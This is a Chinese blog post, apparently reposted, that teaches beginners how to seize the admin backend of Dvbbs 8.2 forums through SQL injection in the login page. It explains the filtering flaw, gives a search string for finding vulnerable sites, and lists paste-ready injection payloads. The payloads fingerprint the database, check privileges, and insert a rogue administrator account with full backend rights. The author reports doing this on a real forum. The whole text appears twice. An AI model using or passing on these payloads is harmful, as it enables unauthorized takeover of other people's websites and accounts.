教你两句话 动网8.20的后台被拿下
程序员文章站
2022-04-27 10:35:46
dvbbs8.2漏洞补下载地址:
http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;Id=1519564
紧急安全补丁0530
dvbbs8.2漏洞的产生
login.asp 这个文件的97行Function Dvbbs_C... 08-10-08...
dvbbs8.2漏洞补下载地址:
http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;id=1519564
紧急安全补丁0530
dvbbs8.2漏洞的产生 login.asp 这个文件的97行function dvbbs_chklogin 开始有以下代码: username=trim(dvbbs.checkstr(request("username"))) 而passport和username是用户输入的。 public function checkstr(str)
if isnull(str) then
checkstr = ""
exit function
end if
str = replace(str,chr(0),"")
checkstr = replace(str,"'","''")
end function 动网用checkstr进行处理。 当我们输入111',request("username")是111' dvbbs.checkstr(request("passport"))以后还是111'
if ajaxpro then username = unescape(username) username就变成了111' 所以,【'】符号并没有过滤掉,漏洞就产生了。
------------------------------------------------
搜索:powered by dvbbs version 8.2.0 有很多用存在这样漏洞的bbs
对于新手,分析过程比较复杂,特别是语句的组合,看了我的这个教程,基本上在一分钟之内就可以搞定.
admin' and '1'='1 用户名或者密码不正确.
admin' and '1'='2 本论坛不存在该用户名.
判断数据库类型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0 admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1 ' and (select @@version)>0-- ' and (select is_srvrolemember('sysadmin'))>0--
' and (select is_member('db_owner'))>0-- 49ba59abbe56e057=123456
';update dv_user set password='49ba59abbe56e057' where username='sishui'-- ';update dv_user set usergroupid=1 where username='sishui'-- bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')-- bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')-- 为了省时间我就直接先找了个论坛测试,大家看操作就好,我们来到登陆页面,这句话的意思就是在这个论坛里加入一个管理拥护, 我拥护名为sishui 密码为123456 密码是加密的, 我们来看看 下面的密码随便输入 ,这个意思就是代表成功了,我们来登陆看看,看见了吧, 呵呵, 我们在来进后台不成功, 为什么呢, 应为刚刚我加入的是论坛管理, 没有提到后台管理,下面我们在来用代码,提到后台管理权限,我们来看代码 意思就是把他的权限全部提升到45 ,我们来试试,好了,我们在登陆看,我们进来了,呵呵,。 好了就这样,教程结束
dvbbs8.2漏洞的产生 login.asp 这个文件的97行function dvbbs_chklogin 开始有以下代码: username=trim(dvbbs.checkstr(request("username"))) 而passport和username是用户输入的。 public function checkstr(str)
if isnull(str) then
checkstr = ""
exit function
end if
str = replace(str,chr(0),"")
checkstr = replace(str,"'","''")
end function 动网用checkstr进行处理。 当我们输入111',request("username")是111' dvbbs.checkstr(request("passport"))以后还是111'
if ajaxpro then username = unescape(username) username就变成了111' 所以,【'】符号并没有过滤掉,漏洞就产生了。
------------------------------------------------
搜索:powered by dvbbs version 8.2.0 有很多用存在这样漏洞的bbs
对于新手,分析过程比较复杂,特别是语句的组合,看了我的这个教程,基本上在一分钟之内就可以搞定.
admin' and '1'='1 用户名或者密码不正确.
admin' and '1'='2 本论坛不存在该用户名.
判断数据库类型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0 admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1 ' and (select @@version)>0-- ' and (select is_srvrolemember('sysadmin'))>0--
' and (select is_member('db_owner'))>0-- 49ba59abbe56e057=123456
';update dv_user set password='49ba59abbe56e057' where username='sishui'-- ';update dv_user set usergroupid=1 where username='sishui'-- bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')-- bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')-- 为了省时间我就直接先找了个论坛测试,大家看操作就好,我们来到登陆页面,这句话的意思就是在这个论坛里加入一个管理拥护, 我拥护名为sishui 密码为123456 密码是加密的, 我们来看看 下面的密码随便输入 ,这个意思就是代表成功了,我们来登陆看看,看见了吧, 呵呵, 我们在来进后台不成功, 为什么呢, 应为刚刚我加入的是论坛管理, 没有提到后台管理,下面我们在来用代码,提到后台管理权限,我们来看代码 意思就是把他的权限全部提升到45 ,我们来试试,好了,我们在登陆看,我们进来了,呵呵,。 好了就这样,教程结束
上一篇: 途牛的服务器部署及架构演进的经验总结
下一篇: 小米IPO过后,雷军的新零售正式起航